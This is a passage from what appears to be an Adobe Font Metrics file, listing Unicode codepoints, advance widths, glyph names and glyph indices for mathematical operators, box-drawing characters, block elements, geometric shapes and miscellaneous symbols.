U 8774 ; WX 838 ; N uni2246 ; G 3033
U 8775 ; WX 838 ; N uni2247 ; G 3034
U 8776 ; WX 838 ; N approxequal ; G 3035
U 8777 ; WX 838 ; N uni2249 ; G 3036
U 8778 ; WX 838 ; N uni224A ; G 3037
U 8779 ; WX 838 ; N uni224B ; G 3038
U 8780 ; WX 838 ; N uni224C ; G 3039
U 8781 ; WX 838 ; N uni224D ; G 3040
U 8782 ; WX 838 ; N uni224E ; G 3041
U 8783 ; WX 838 ; N uni224F ; G 3042
U 8784 ; WX 838 ; N uni2250 ; G 3043
U 8785 ; WX 838 ; N uni2251 ; G 3044
U 8786 ; WX 838 ; N uni2252 ; G 3045
U 8787 ; WX 838 ; N uni2253 ; G 3046
U 8788 ; WX 1063 ; N uni2254 ; G 3047
U 8789 ; WX 1063 ; N uni2255 ; G 3048
U 8790 ; WX 838 ; N uni2256 ; G 3049
U 8791 ; WX 838 ; N uni2257 ; G 3050
U 8792 ; WX 838 ; N uni2258 ; G 3051
U 8793 ; WX 838 ; N uni2259 ; G 3052
U 8794 ; WX 838 ; N uni225A ; G 3053
U 8795 ; WX 838 ; N uni225B ; G 3054
U 8796 ; WX 838 ; N uni225C ; G 3055
U 8797 ; WX 838 ; N uni225D ; G 3056
U 8798 ; WX 838 ; N uni225E ; G 3057
U 8799 ; WX 838 ; N uni225F ; G 3058
U 8800 ; WX 838 ; N notequal ; G 3059
U 8801 ; WX 838 ; N equivalence ; G 3060
U 8802 ; WX 838 ; N uni2262 ; G 3061
U 8803 ; WX 838 ; N uni2263 ; G 3062
U 8804 ; WX 838 ; N lessequal ; G 3063
U 8805 ; WX 838 ; N greaterequal ; G 3064
U 8806 ; WX 838 ; N uni2266 ; G 3065
U 8807 ; WX 838 ; N uni2267 ; G 3066
U 8808 ; WX 841 ; N uni2268 ; G 3067
U 8809 ; WX 841 ; N uni2269 ; G 3068
U 8810 ; WX 1047 ; N uni226A ; G 3069
U 8811 ; WX 1047 ; N uni226B ; G 3070
U 8812 ; WX 500 ; N uni226C ; G 3071
U 8813 ; WX 838 ; N uni226D ; G 3072
U 8814 ; WX 838 ; N uni226E ; G 3073
U 8815 ; WX 838 ; N uni226F ; G 3074
U 8816 ; WX 838 ; N uni2270 ; G 3075
U 8817 ; WX 838 ; N uni2271 ; G 3076
U 8818 ; WX 838 ; N uni2272 ; G 3077
U 8819 ; WX 838 ; N uni2273 ; G 3078
U 8820 ; WX 838 ; N uni2274 ; G 3079
U 8821 ; WX 838 ; N uni2275 ; G 3080
U 8822 ; WX 838 ; N uni2276 ; G 3081
U 8823 ; WX 838 ; N uni2277 ; G 3082
U 8824 ; WX 838 ; N uni2278 ; G 3083
U 8825 ; WX 838 ; N uni2279 ; G 3084
U 8826 ; WX 838 ; N uni227A ; G 3085
U 8827 ; WX 838 ; N uni227B ; G 3086
U 8828 ; WX 838 ; N uni227C ; G 3087
U 8829 ; WX 838 ; N uni227D ; G 3088
U 8830 ; WX 838 ; N uni227E ; G 3089
U 8831 ; WX 838 ; N uni227F ; G 3090
U 8832 ; WX 838 ; N uni2280 ; G 3091
U 8833 ; WX 838 ; N uni2281 ; G 3092
U 8834 ; WX 838 ; N propersubset ; G 3093
U 8835 ; WX 838 ; N propersuperset ; G 3094
U 8836 ; WX 838 ; N notsubset ; G 3095
U 8837 ; WX 838 ; N uni2285 ; G 3096
U 8838 ; WX 838 ; N reflexsubset ; G 3097
U 8839 ; WX 838 ; N reflexsuperset ; G 3098
U 8840 ; WX 838 ; N uni2288 ; G 3099
U 8841 ; WX 838 ; N uni2289 ; G 3100
U 8842 ; WX 838 ; N uni228A ; G 3101
U 8843 ; WX 838 ; N uni228B ; G 3102
U 8844 ; WX 812 ; N uni228C ; G 3103
U 8845 ; WX 812 ; N uni228D ; G 3104
U 8846 ; WX 812 ; N uni228E ; G 3105
U 8847 ; WX 838 ; N uni228F ; G 3106
U 8848 ; WX 838 ; N uni2290 ; G 3107
U 8849 ; WX 838 ; N uni2291 ; G 3108
U 8850 ; WX 838 ; N uni2292 ; G 3109
U 8851 ; WX 796 ; N uni2293 ; G 3110
U 8852 ; WX 796 ; N uni2294 ; G 3111
U 8853 ; WX 838 ; N circleplus ; G 3112
U 8854 ; WX 838 ; N uni2296 ; G 3113
U 8855 ; WX 838 ; N circlemultiply ; G 3114
U 8856 ; WX 838 ; N uni2298 ; G 3115
U 8857 ; WX 838 ; N uni2299 ; G 3116
U 8858 ; WX 838 ; N uni229A ; G 3117
U 8859 ; WX 838 ; N uni229B ; G 3118
U 8860 ; WX 838 ; N uni229C ; G 3119
U 8861 ; WX 838 ; N uni229D ; G 3120
U 8862 ; WX 838 ; N uni229E ; G 3121
U 8863 ; WX 838 ; N uni229F ; G 3122
U 8864 ; WX 838 ; N uni22A0 ; G 3123
U 8865 ; WX 838 ; N uni22A1 ; G 3124
U 8866 ; WX 914 ; N uni22A2 ; G 3125
U 8867 ; WX 914 ; N uni22A3 ; G 3126
U 8868 ; WX 914 ; N uni22A4 ; G 3127
U 8869 ; WX 914 ; N perpendicular ; G 3128
U 8870 ; WX 542 ; N uni22A6 ; G 3129
U 8871 ; WX 542 ; N uni22A7 ; G 3130
U 8872 ; WX 914 ; N uni22A8 ; G 3131
U 8873 ; WX 914 ; N uni22A9 ; G 3132
U 8874 ; WX 914 ; N uni22AA ; G 3133
U 8875 ; WX 914 ; N uni22AB ; G 3134
U 8876 ; WX 914 ; N uni22AC ; G 3135
U 8877 ; WX 914 ; N uni22AD ; G 3136
U 8878 ; WX 914 ; N uni22AE ; G 3137
U 8879 ; WX 914 ; N uni22AF ; G 3138
U 8880 ; WX 838 ; N uni22B0 ; G 3139
U 8881 ; WX 838 ; N uni22B1 ; G 3140
U 8882 ; WX 838 ; N uni22B2 ; G 3141
U 8883 ; WX 838 ; N uni22B3 ; G 3142
U 8884 ; WX 838 ; N uni22B4 ; G 3143
U 8885 ; WX 838 ; N uni22B5 ; G 3144
U 8886 ; WX 1000 ; N uni22B6 ; G 3145
U 8887 ; WX 1000 ; N uni22B7 ; G 3146
U 8888 ; WX 838 ; N uni22B8 ; G 3147
U 8889 ; WX 838 ; N uni22B9 ; G 3148
U 8890 ; WX 542 ; N uni22BA ; G 3149
U 8891 ; WX 812 ; N uni22BB ; G 3150
U 8892 ; WX 812 ; N uni22BC ; G 3151
U 8893 ; WX 812 ; N uni22BD ; G 3152
U 8894 ; WX 838 ; N uni22BE ; G 3153
U 8895 ; WX 838 ; N uni22BF ; G 3154
U 8896 ; WX 843 ; N uni22C0 ; G 3155
U 8897 ; WX 843 ; N uni22C1 ; G 3156
U 8898 ; WX 843 ; N uni22C2 ; G 3157
U 8899 ; WX 843 ; N uni22C3 ; G 3158
U 8900 ; WX 626 ; N uni22C4 ; G 3159
U 8901 ; WX 380 ; N dotmath ; G 3160
U 8902 ; WX 626 ; N uni22C6 ; G 3161
U 8903 ; WX 838 ; N uni22C7 ; G 3162
U 8904 ; WX 1000 ; N uni22C8 ; G 3163
U 8905 ; WX 1000 ; N uni22C9 ; G 3164
U 8906 ; WX 1000 ; N uni22CA ; G 3165
U 8907 ; WX 1000 ; N uni22CB ; G 3166
U 8908 ; WX 1000 ; N uni22CC ; G 3167
U 8909 ; WX 838 ; N uni22CD ; G 3168
U 8910 ; WX 812 ; N uni22CE ; G 3169
U 8911 ; WX 812 ; N uni22CF ; G 3170
U 8912 ; WX 838 ; N uni22D0 ; G 3171
U 8913 ; WX 838 ; N uni22D1 ; G 3172
U 8914 ; WX 838 ; N uni22D2 ; G 3173
U 8915 ; WX 838 ; N uni22D3 ; G 3174
U 8916 ; WX 838 ; N uni22D4 ; G 3175
U 8917 ; WX 838 ; N uni22D5 ; G 3176
U 8918 ; WX 838 ; N uni22D6 ; G 3177
U 8919 ; WX 838 ; N uni22D7 ; G 3178
U 8920 ; WX 1422 ; N uni22D8 ; G 3179
U 8921 ; WX 1422 ; N uni22D9 ; G 3180
U 8922 ; WX 838 ; N uni22DA ; G 3181
U 8923 ; WX 838 ; N uni22DB ; G 3182
U 8924 ; WX 838 ; N uni22DC ; G 3183
U 8925 ; WX 838 ; N uni22DD ; G 3184
U 8926 ; WX 838 ; N uni22DE ; G 3185
U 8927 ; WX 838 ; N uni22DF ; G 3186
U 8928 ; WX 838 ; N uni22E0 ; G 3187
U 8929 ; WX 838 ; N uni22E1 ; G 3188
U 8930 ; WX 838 ; N uni22E2 ; G 3189
U 8931 ; WX 838 ; N uni22E3 ; G 3190
U 8932 ; WX 838 ; N uni22E4 ; G 3191
U 8933 ; WX 838 ; N uni22E5 ; G 3192
U 8934 ; WX 838 ; N uni22E6 ; G 3193
U 8935 ; WX 838 ; N uni22E7 ; G 3194
U 8936 ; WX 838 ; N uni22E8 ; G 3195
U 8937 ; WX 838 ; N uni22E9 ; G 3196
U 8938 ; WX 838 ; N uni22EA ; G 3197
U 8939 ; WX 838 ; N uni22EB ; G 3198
U 8940 ; WX 838 ; N uni22EC ; G 3199
U 8941 ; WX 838 ; N uni22ED ; G 3200
U 8942 ; WX 1000 ; N uni22EE ; G 3201
U 8943 ; WX 1000 ; N uni22EF ; G 3202
U 8944 ; WX 1000 ; N uni22F0 ; G 3203
U 8945 ; WX 1000 ; N uni22F1 ; G 3204
U 8946 ; WX 1158 ; N uni22F2 ; G 3205
U 8947 ; WX 896 ; N uni22F3 ; G 3206
U 8948 ; WX 750 ; N uni22F4 ; G 3207
U 8949 ; WX 896 ; N uni22F5 ; G 3208
U 8950 ; WX 896 ; N uni22F6 ; G 3209
U 8951 ; WX 750 ; N uni22F7 ; G 3210
U 8952 ; WX 896 ; N uni22F8 ; G 3211
U 8953 ; WX 896 ; N uni22F9 ; G 3212
U 8954 ; WX 1158 ; N uni22FA ; G 3213
U 8955 ; WX 896 ; N uni22FB ; G 3214
U 8956 ; WX 750 ; N uni22FC ; G 3215
U 8957 ; WX 896 ; N uni22FD ; G 3216
U 8958 ; WX 750 ; N uni22FE ; G 3217
U 8959 ; WX 896 ; N uni22FF ; G 3218
U 8960 ; WX 602 ; N uni2300 ; G 3219
U 8961 ; WX 602 ; N uni2301 ; G 3220
U 8962 ; WX 716 ; N house ; G 3221
U 8963 ; WX 838 ; N uni2303 ; G 3222
U 8964 ; WX 838 ; N uni2304 ; G 3223
U 8965 ; WX 838 ; N uni2305 ; G 3224
U 8966 ; WX 838 ; N uni2306 ; G 3225
U 8967 ; WX 488 ; N uni2307 ; G 3226
U 8968 ; WX 457 ; N uni2308 ; G 3227
U 8969 ; WX 457 ; N uni2309 ; G 3228
U 8970 ; WX 457 ; N uni230A ; G 3229
U 8971 ; WX 457 ; N uni230B ; G 3230
U 8972 ; WX 809 ; N uni230C ; G 3231
U 8973 ; WX 809 ; N uni230D ; G 3232
U 8974 ; WX 809 ; N uni230E ; G 3233
U 8975 ; WX 809 ; N uni230F ; G 3234
U 8976 ; WX 838 ; N revlogicalnot ; G 3235
U 8977 ; WX 539 ; N uni2311 ; G 3236
U 8984 ; WX 928 ; N uni2318 ; G 3237
U 8985 ; WX 838 ; N uni2319 ; G 3238
U 8988 ; WX 469 ; N uni231C ; G 3239
U 8989 ; WX 469 ; N uni231D ; G 3240
U 8990 ; WX 469 ; N uni231E ; G 3241
U 8991 ; WX 469 ; N uni231F ; G 3242
U 8992 ; WX 610 ; N integraltp ; G 3243
U 8993 ; WX 610 ; N integralbt ; G 3244
U 8996 ; WX 1152 ; N uni2324 ; G 3245
U 8997 ; WX 1152 ; N uni2325 ; G 3246
U 8998 ; WX 1414 ; N uni2326 ; G 3247
U 8999 ; WX 1152 ; N uni2327 ; G 3248
U 9000 ; WX 1443 ; N uni2328 ; G 3249
U 9003 ; WX 1414 ; N uni232B ; G 3250
U 9004 ; WX 873 ; N uni232C ; G 3251
U 9075 ; WX 390 ; N uni2373 ; G 3252
U 9076 ; WX 716 ; N uni2374 ; G 3253
U 9077 ; WX 869 ; N uni2375 ; G 3254
U 9082 ; WX 687 ; N uni237A ; G 3255
U 9085 ; WX 863 ; N uni237D ; G 3256
U 9095 ; WX 1152 ; N uni2387 ; G 3257
U 9108 ; WX 873 ; N uni2394 ; G 3258
U 9115 ; WX 500 ; N uni239B ; G 3259
U 9116 ; WX 500 ; N uni239C ; G 3260
U 9117 ; WX 500 ; N uni239D ; G 3261
U 9118 ; WX 500 ; N uni239E ; G 3262
U 9119 ; WX 500 ; N uni239F ; G 3263
U 9120 ; WX 500 ; N uni23A0 ; G 3264
U 9121 ; WX 500 ; N uni23A1 ; G 3265
U 9122 ; WX 500 ; N uni23A2 ; G 3266
U 9123 ; WX 500 ; N uni23A3 ; G 3267
U 9124 ; WX 500 ; N uni23A4 ; G 3268
U 9125 ; WX 500 ; N uni23A5 ; G 3269
U 9126 ; WX 500 ; N uni23A6 ; G 3270
U 9127 ; WX 750 ; N uni23A7 ; G 3271
U 9128 ; WX 750 ; N uni23A8 ; G 3272
U 9129 ; WX 750 ; N uni23A9 ; G 3273
U 9130 ; WX 750 ; N uni23AA ; G 3274
U 9131 ; WX 750 ; N uni23AB ; G 3275
U 9132 ; WX 750 ; N uni23AC ; G 3276
U 9133 ; WX 750 ; N uni23AD ; G 3277
U 9134 ; WX 610 ; N uni23AE ; G 3278
U 9166 ; WX 838 ; N uni23CE ; G 3279
U 9167 ; WX 945 ; N uni23CF ; G 3280
U 9187 ; WX 873 ; N uni23E3 ; G 3281
U 9189 ; WX 769 ; N uni23E5 ; G 3282
U 9192 ; WX 696 ; N uni23E8 ; G 3283
U 9250 ; WX 716 ; N uni2422 ; G 3284
U 9251 ; WX 716 ; N uni2423 ; G 3285
U 9312 ; WX 847 ; N uni2460 ; G 3286
U 9313 ; WX 847 ; N uni2461 ; G 3287
U 9314 ; WX 847 ; N uni2462 ; G 3288
U 9315 ; WX 847 ; N uni2463 ; G 3289
U 9316 ; WX 847 ; N uni2464 ; G 3290
U 9317 ; WX 847 ; N uni2465 ; G 3291
U 9318 ; WX 847 ; N uni2466 ; G 3292
U 9319 ; WX 847 ; N uni2467 ; G 3293
U 9320 ; WX 847 ; N uni2468 ; G 3294
U 9321 ; WX 847 ; N uni2469 ; G 3295
U 9472 ; WX 602 ; N SF100000 ; G 3296
U 9473 ; WX 602 ; N uni2501 ; G 3297
U 9474 ; WX 602 ; N SF110000 ; G 3298
U 9475 ; WX 602 ; N uni2503 ; G 3299
U 9476 ; WX 602 ; N uni2504 ; G 3300
U 9477 ; WX 602 ; N uni2505 ; G 3301
U 9478 ; WX 602 ; N uni2506 ; G 3302
U 9479 ; WX 602 ; N uni2507 ; G 3303
U 9480 ; WX 602 ; N uni2508 ; G 3304
U 9481 ; WX 602 ; N uni2509 ; G 3305
U 9482 ; WX 602 ; N uni250A ; G 3306
U 9483 ; WX 602 ; N uni250B ; G 3307
U 9484 ; WX 602 ; N SF010000 ; G 3308
U 9485 ; WX 602 ; N uni250D ; G 3309
U 9486 ; WX 602 ; N uni250E ; G 3310
U 9487 ; WX 602 ; N uni250F ; G 3311
U 9488 ; WX 602 ; N SF030000 ; G 3312
U 9489 ; WX 602 ; N uni2511 ; G 3313
U 9490 ; WX 602 ; N uni2512 ; G 3314
U 9491 ; WX 602 ; N uni2513 ; G 3315
U 9492 ; WX 602 ; N SF020000 ; G 3316
U 9493 ; WX 602 ; N uni2515 ; G 3317
U 9494 ; WX 602 ; N uni2516 ; G 3318
U 9495 ; WX 602 ; N uni2517 ; G 3319
U 9496 ; WX 602 ; N SF040000 ; G 3320
U 9497 ; WX 602 ; N uni2519 ; G 3321
U 9498 ; WX 602 ; N uni251A ; G 3322
U 9499 ; WX 602 ; N uni251B ; G 3323
U 9500 ; WX 602 ; N SF080000 ; G 3324
U 9501 ; WX 602 ; N uni251D ; G 3325
U 9502 ; WX 602 ; N uni251E ; G 3326
U 9503 ; WX 602 ; N uni251F ; G 3327
U 9504 ; WX 602 ; N uni2520 ; G 3328
U 9505 ; WX 602 ; N uni2521 ; G 3329
U 9506 ; WX 602 ; N uni2522 ; G 3330
U 9507 ; WX 602 ; N uni2523 ; G 3331
U 9508 ; WX 602 ; N SF090000 ; G 3332
U 9509 ; WX 602 ; N uni2525 ; G 3333
U 9510 ; WX 602 ; N uni2526 ; G 3334
U 9511 ; WX 602 ; N uni2527 ; G 3335
U 9512 ; WX 602 ; N uni2528 ; G 3336
U 9513 ; WX 602 ; N uni2529 ; G 3337
U 9514 ; WX 602 ; N uni252A ; G 3338
U 9515 ; WX 602 ; N uni252B ; G 3339
U 9516 ; WX 602 ; N SF060000 ; G 3340
U 9517 ; WX 602 ; N uni252D ; G 3341
U 9518 ; WX 602 ; N uni252E ; G 3342
U 9519 ; WX 602 ; N uni252F ; G 3343
U 9520 ; WX 602 ; N uni2530 ; G 3344
U 9521 ; WX 602 ; N uni2531 ; G 3345
U 9522 ; WX 602 ; N uni2532 ; G 3346
U 9523 ; WX 602 ; N uni2533 ; G 3347
U 9524 ; WX 602 ; N SF070000 ; G 3348
U 9525 ; WX 602 ; N uni2535 ; G 3349
U 9526 ; WX 602 ; N uni2536 ; G 3350
U 9527 ; WX 602 ; N uni2537 ; G 3351
U 9528 ; WX 602 ; N uni2538 ; G 3352
U 9529 ; WX 602 ; N uni2539 ; G 3353
U 9530 ; WX 602 ; N uni253A ; G 3354
U 9531 ; WX 602 ; N uni253B ; G 3355
U 9532 ; WX 602 ; N SF050000 ; G 3356
U 9533 ; WX 602 ; N uni253D ; G 3357
U 9534 ; WX 602 ; N uni253E ; G 3358
U 9535 ; WX 602 ; N uni253F ; G 3359
U 9536 ; WX 602 ; N uni2540 ; G 3360
U 9537 ; WX 602 ; N uni2541 ; G 3361
U 9538 ; WX 602 ; N uni2542 ; G 3362
U 9539 ; WX 602 ; N uni2543 ; G 3363
U 9540 ; WX 602 ; N uni2544 ; G 3364
U 9541 ; WX 602 ; N uni2545 ; G 3365
U 9542 ; WX 602 ; N uni2546 ; G 3366
U 9543 ; WX 602 ; N uni2547 ; G 3367
U 9544 ; WX 602 ; N uni2548 ; G 3368
U 9545 ; WX 602 ; N uni2549 ; G 3369
U 9546 ; WX 602 ; N uni254A ; G 3370
U 9547 ; WX 602 ; N uni254B ; G 3371
U 9548 ; WX 602 ; N uni254C ; G 3372
U 9549 ; WX 602 ; N uni254D ; G 3373
U 9550 ; WX 602 ; N uni254E ; G 3374
U 9551 ; WX 602 ; N uni254F ; G 3375
U 9552 ; WX 602 ; N SF430000 ; G 3376
U 9553 ; WX 602 ; N SF240000 ; G 3377
U 9554 ; WX 602 ; N SF510000 ; G 3378
U 9555 ; WX 602 ; N SF520000 ; G 3379
U 9556 ; WX 602 ; N SF390000 ; G 3380
U 9557 ; WX 602 ; N SF220000 ; G 3381
U 9558 ; WX 602 ; N SF210000 ; G 3382
U 9559 ; WX 602 ; N SF250000 ; G 3383
U 9560 ; WX 602 ; N SF500000 ; G 3384
U 9561 ; WX 602 ; N SF490000 ; G 3385
U 9562 ; WX 602 ; N SF380000 ; G 3386
U 9563 ; WX 602 ; N SF280000 ; G 3387
U 9564 ; WX 602 ; N SF270000 ; G 3388
U 9565 ; WX 602 ; N SF260000 ; G 3389
U 9566 ; WX 602 ; N SF360000 ; G 3390
U 9567 ; WX 602 ; N SF370000 ; G 3391
U 9568 ; WX 602 ; N SF420000 ; G 3392
U 9569 ; WX 602 ; N SF190000 ; G 3393
U 9570 ; WX 602 ; N SF200000 ; G 3394
U 9571 ; WX 602 ; N SF230000 ; G 3395
U 9572 ; WX 602 ; N SF470000 ; G 3396
U 9573 ; WX 602 ; N SF480000 ; G 3397
U 9574 ; WX 602 ; N SF410000 ; G 3398
U 9575 ; WX 602 ; N SF450000 ; G 3399
U 9576 ; WX 602 ; N SF460000 ; G 3400
U 9577 ; WX 602 ; N SF400000 ; G 3401
U 9578 ; WX 602 ; N SF540000 ; G 3402
U 9579 ; WX 602 ; N SF530000 ; G 3403
U 9580 ; WX 602 ; N SF440000 ; G 3404
U 9581 ; WX 602 ; N uni256D ; G 3405
U 9582 ; WX 602 ; N uni256E ; G 3406
U 9583 ; WX 602 ; N uni256F ; G 3407
U 9584 ; WX 602 ; N uni2570 ; G 3408
U 9585 ; WX 602 ; N uni2571 ; G 3409
U 9586 ; WX 602 ; N uni2572 ; G 3410
U 9587 ; WX 602 ; N uni2573 ; G 3411
U 9588 ; WX 602 ; N uni2574 ; G 3412
U 9589 ; WX 602 ; N uni2575 ; G 3413
U 9590 ; WX 602 ; N uni2576 ; G 3414
U 9591 ; WX 602 ; N uni2577 ; G 3415
U 9592 ; WX 602 ; N uni2578 ; G 3416
U 9593 ; WX 602 ; N uni2579 ; G 3417
U 9594 ; WX 602 ; N uni257A ; G 3418
U 9595 ; WX 602 ; N uni257B ; G 3419
U 9596 ; WX 602 ; N uni257C ; G 3420
U 9597 ; WX 602 ; N uni257D ; G 3421
U 9598 ; WX 602 ; N uni257E ; G 3422
U 9599 ; WX 602 ; N uni257F ; G 3423
U 9600 ; WX 769 ; N upblock ; G 3424
U 9601 ; WX 769 ; N uni2581 ; G 3425
U 9602 ; WX 769 ; N uni2582 ; G 3426
U 9603 ; WX 769 ; N uni2583 ; G 3427
U 9604 ; WX 769 ; N dnblock ; G 3428
U 9605 ; WX 769 ; N uni2585 ; G 3429
U 9606 ; WX 769 ; N uni2586 ; G 3430
U 9607 ; WX 769 ; N uni2587 ; G 3431
U 9608 ; WX 769 ; N block ; G 3432
U 9609 ; WX 769 ; N uni2589 ; G 3433
U 9610 ; WX 769 ; N uni258A ; G 3434
U 9611 ; WX 769 ; N uni258B ; G 3435
U 9612 ; WX 769 ; N lfblock ; G 3436
U 9613 ; WX 769 ; N uni258D ; G 3437
U 9614 ; WX 769 ; N uni258E ; G 3438
U 9615 ; WX 769 ; N uni258F ; G 3439
U 9616 ; WX 769 ; N rtblock ; G 3440
U 9617 ; WX 769 ; N ltshade ; G 3441
U 9618 ; WX 769 ; N shade ; G 3442
U 9619 ; WX 769 ; N dkshade ; G 3443
U 9620 ; WX 769 ; N uni2594 ; G 3444
U 9621 ; WX 769 ; N uni2595 ; G 3445
U 9622 ; WX 769 ; N uni2596 ; G 3446
U 9623 ; WX 769 ; N uni2597 ; G 3447
U 9624 ; WX 769 ; N uni2598 ; G 3448
U 9625 ; WX 769 ; N uni2599 ; G 3449
U 9626 ; WX 769 ; N uni259A ; G 3450
U 9627 ; WX 769 ; N uni259B ; G 3451
U 9628 ; WX 769 ; N uni259C ; G 3452
U 9629 ; WX 769 ; N uni259D ; G 3453
U 9630 ; WX 769 ; N uni259E ; G 3454
U 9631 ; WX 769 ; N uni259F ; G 3455
U 9632 ; WX 945 ; N filledbox ; G 3456
U 9633 ; WX 945 ; N H22073 ; G 3457
U 9634 ; WX 945 ; N uni25A2 ; G 3458
U 9635 ; WX 945 ; N uni25A3 ; G 3459
U 9636 ; WX 945 ; N uni25A4 ; G 3460
U 9637 ; WX 945 ; N uni25A5 ; G 3461
U 9638 ; WX 945 ; N uni25A6 ; G 3462
U 9639 ; WX 945 ; N uni25A7 ; G 3463
U 9640 ; WX 945 ; N uni25A8 ; G 3464
U 9641 ; WX 945 ; N uni25A9 ; G 3465
U 9642 ; WX 678 ; N H18543 ; G 3466
U 9643 ; WX 678 ; N H18551 ; G 3467
U 9644 ; WX 945 ; N filledrect ; G 3468
U 9645 ; WX 945 ; N uni25AD ; G 3469
U 9646 ; WX 550 ; N uni25AE ; G 3470
U 9647 ; WX 550 ; N uni25AF ; G 3471
U 9648 ; WX 769 ; N uni25B0 ; G 3472
U 9649 ; WX 769 ; N uni25B1 ; G 3473
U 9650 ; WX 769 ; N triagup ; G 3474
U 9651 ; WX 769 ; N uni25B3 ; G 3475
U 9652 ; WX 502 ; N uni25B4 ; G 3476
U 9653 ; WX 502 ; N uni25B5 ; G 3477
U 9654 ; WX 769 ; N uni25B6 ; G 3478
U 9655 ; WX 769 ; N uni25B7 ; G 3479
U 9656 ; WX 502 ; N uni25B8 ; G 3480
U 9657 ; WX 502 ; N uni25B9 ; G 3481
U 9658 ; WX 769 ; N triagrt ; G 3482
U 9659 ; WX 769 ; N uni25BB ; G 3483
U 9660 ; WX 769 ; N triagdn ; G 3484
U 9661 ; WX 769 ; N uni25BD ; G 3485
U 9662 ; WX 502 ; N uni25BE ; G 3486
U 9663 ; WX 502 ; N uni25BF ; G 3487
U 9664 ; WX 769 ; N uni25C0 ; G 3488
U 9665 ; WX 769 ; N uni25C1 ; G 3489
U 9666 ; WX 502 ; N uni25C2 ; G 3490
U 9667 ; WX 502 ; N uni25C3 ; G 3491
U 9668 ; WX 769 ; N triaglf ; G 3492
U 9669 ; WX 769 ; N uni25C5 ; G 3493
U 9670 ; WX 769 ; N uni25C6 ; G 3494
U 9671 ; WX 769 ; N uni25C7 ; G 3495
U 9672 ; WX 769 ; N uni25C8 ; G 3496
U 9673 ; WX 873 ; N uni25C9 ; G 3497
U 9674 ; WX 494 ; N lozenge ; G 3498
U 9675 ; WX 873 ; N circle ; G 3499
U 9676 ; WX 873 ; N uni25CC ; G 3500
U 9677 ; WX 873 ; N uni25CD ; G 3501
U 9678 ; WX 873 ; N uni25CE ; G 3502
U 9679 ; WX 873 ; N H18533 ; G 3503
U 9680 ; WX 873 ; N uni25D0 ; G 3504
U 9681 ; WX 873 ; N uni25D1 ; G 3505
U 9682 ; WX 873 ; N uni25D2 ; G 3506
U 9683 ; WX 873 ; N uni25D3 ; G 3507
U 9684 ; WX 873 ; N uni25D4 ; G 3508
U 9685 ; WX 873 ; N uni25D5 ; G 3509
U 9686 ; WX 527 ; N uni25D6 ; G 3510
U 9687 ; WX 527 ; N uni25D7 ; G 3511
U 9688 ; WX 840 ; N invbullet ; G 3512
U 9689 ; WX 970 ; N invcircle ; G 3513
U 9690 ; WX 970 ; N uni25DA ; G 3514
U 9691 ; WX 970 ; N uni25DB ; G 3515
U 9692 ; WX 387 ; N uni25DC ; G 3516
U 9693 ; WX 387 ; N uni25DD ; G 3517
U 9694 ; WX 387 ; N uni25DE ; G 3518
U 9695 ; WX 387 ; N uni25DF ; G 3519
U 9696 ; WX 769 ; N uni25E0 ; G 3520
U 9697 ; WX 769 ; N uni25E1 ; G 3521
U 9698 ; WX 769 ; N uni25E2 ; G 3522
U 9699 ; WX 769 ; N uni25E3 ; G 3523
U 9700 ; WX 769 ; N uni25E4 ; G 3524
U 9701 ; WX 769 ; N uni25E5 ; G 3525
U 9702 ; WX 639 ; N openbullet ; G 3526
U 9703 ; WX 945 ; N uni25E7 ; G 3527
U 9704 ; WX 945 ; N uni25E8 ; G 3528
U 9705 ; WX 945 ; N uni25E9 ; G 3529
U 9706 ; WX 945 ; N uni25EA ; G 3530
U 9707 ; WX 945 ; N uni25EB ; G 3531
U 9708 ; WX 769 ; N uni25EC ; G 3532
U 9709 ; WX 769 ; N uni25ED ; G 3533
U 9710 ; WX 769 ; N uni25EE ; G 3534
U 9711 ; WX 1119 ; N uni25EF ; G 3535
U 9712 ; WX 945 ; N uni25F0 ; G 3536
U 9713 ; WX 945 ; N uni25F1 ; G 3537
U 9714 ; WX 945 ; N uni25F2 ; G 3538
U 9715 ; WX 945 ; N uni25F3 ; G 3539
U 9716 ; WX 873 ; N uni25F4 ; G 3540
U 9717 ; WX 873 ; N uni25F5 ; G 3541
U 9718 ; WX 873 ; N uni25F6 ; G 3542
U 9719 ; WX 873 ; N uni25F7 ; G 3543
U 9720 ; WX 769 ; N uni25F8 ; G 3544
U 9721 ; WX 769 ; N uni25F9 ; G 3545
U 9722 ; WX 769 ; N uni25FA ; G 3546
U 9723 ; WX 830 ; N uni25FB ; G 3547
U 9724 ; WX 830 ; N uni25FC ; G 3548
U 9725 ; WX 732 ; N uni25FD ; G 3549
U 9726 ; WX 732 ; N uni25FE ; G 3550
U 9727 ; WX 769 ; N uni25FF ; G 3551
U 9728 ; WX 896 ; N uni2600 ; G 3552
U 9729 ; WX 1000 ; N uni2601 ; G 3553
U 9730 ; WX 896 ; N uni2602 ; G 3554
U 9731 ; WX 896 ; N uni2603 ; G 3555
U 9732 ; WX 896 ; N uni2604 ; G 3556
U 9733 ; WX 896 ; N uni2605 ; G 3557
U 9734 ; WX 896 ; N uni2606 ; G 3558
U 9735 ; WX 573 ; N uni2607 ; G 3559
U 9736 ; WX 896 ; N uni2608 ; G 3560
U 9737 ; WX 896 ; N uni2609 ; G 3561
U 9738 ; WX 888 ; N uni260A ; G 3562
U 9739 ; WX 888 ; N uni260B ; G 3563
U 9740 ; WX 671 ; N uni260C ; G 3564
U 9741 ; WX 1013 ; N uni260D ; G 3565
U 9742 ; WX 1246 ; N uni260E ; G 3566
U 9743 ; WX 1250 ; N uni260F ; G 3567
U 9744 ; WX 896 ; N uni2610 ; G 3568
U 9745 ; WX 896 ; N uni2611 ; G 3569
U 9746 ; WX 896 ; N uni2612 ; G 3570
U 9747 ; WX 532 ; N uni2613 ; G 3571
U 9748 ; WX 896 ; N uni2614 ; G 3572
U 9749 ; WX 896 ; N uni2615 ; G 3573
U 9750 ; WX 896 ; N uni2616 ; G 3574
U 9751 ; WX 896 ; N uni2617 ; G 3575
U 9752 ; WX 896 ; N uni2618 ; G 3576
U 9753 ; WX 896 ; N uni2619 ; G 3577
U 9754 ; WX 896 ; N uni261A ; G 3578
U 9755 ; WX 896 ; N uni261B ; G 3579
U 9756 ; WX 896 ; N uni261C ; G 3580
U 9757 ; WX 609 ; N uni261D ; G 3581
U 9758 ; WX 896 ; N uni261E ; G 3582
U 9759 ; WX 609 ; N uni261F ; G 3583
U 9760 ; WX 896 ; N uni2620 ; G 3584
U 9761 ; WX 896 ; N uni2621 ; G 3585
U 9762 ; WX 896 ; N uni2622 ; G 3586
U 9763 ; WX 896 ; N uni2623 ; G 3587
